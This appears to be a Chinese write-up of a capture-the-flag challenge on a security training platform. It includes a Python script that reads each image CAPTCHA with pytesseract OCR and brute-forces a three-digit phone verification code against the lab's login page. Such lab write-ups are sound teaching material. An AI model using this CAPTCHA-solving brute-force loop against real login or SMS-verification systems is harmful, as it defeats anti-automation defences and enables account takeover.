网络信息安全攻防学习平台_脚本关_验证码识别_解题脚本(Python)

题目网址:http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

显然是要对手机验证码进行爆破,但是因为有图片验证码的存在所以有点小困难,在试过了始终提交同一有效验证码,与过验证后提交空验证码都无法绕过图片验证码,所以只能进行图片验证码识别了.

还好作者手下留情给出的验证码是十分清晰的数字验证码,所以不需要对图片进行高大上的处理,只需要进行简单的OCR就行. \(^o^)/~

在一番查询后终于确定了需要tesseract-ocr与pytesseract进行安装(真后悔点开这篇文章的链接有点晚,按着其他的那些的鼓捣了好久…一直没确定到底用哪个库来进行)

之后又对pytesseract进行了一番实验,明白后,写出了这个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#! /usr/bin/env python
#coding=utf-8
 import Image
import pytesseract
import urllib, urllib2, cStringIO, re
 
#获取图片验证码内容
def getVcode():
    opener=urllib2.build_opener()
    imgReq=urllib2.Request("http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php")
    imgReq.add_header("Cookie","PHPSESSID=5bd181dc5aa29b28457bd9133d371d60")
    #将获取到的验证码暂存到内存中
    image=opener.open(imgReq).read()
    tmpIm=cStringIO.StringIO(image)
    im=Image.open(tmpIm)
 
    text=pytesseract.image_to_string(im)
    text=text.replace(" ","")
    text=text.replace("°","0")
    text=text.replace("o","0")
    #偶有识别失败text为空的情况,与其他识别错误情况,进行获取新验证码与识别
    if text=="" or re.search("[^0-9]",text):
        return getVcode()
    else:
        return text
 
 
 
url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
opener=urllib2.build_opener()
req=urllib2.Request(url)
req.add_header("Cookie","PHPSESSID=5bd181dc5aa29b28457bd9133d371d60")
#进行爆破
for i in xrange(100,1000):
    Vcode=getVcode()
    data=urllib.urlencode({"username":"13388886666","mobi_code":i,"user_code":Vcode,"Login":"submit"})
    html=opener.open(req,data).read()
    print "当前尝试手机证码为:"+str(i)+"  图片验证码为:"+str(Vcode)+"  返回数据为:"+html
    if "error" not in html:
        print "搞定!"
        break

PS.参考资料:这个 这个 这个 还有这个  (大家可以去看这几篇文章能补充更多相关知识哦)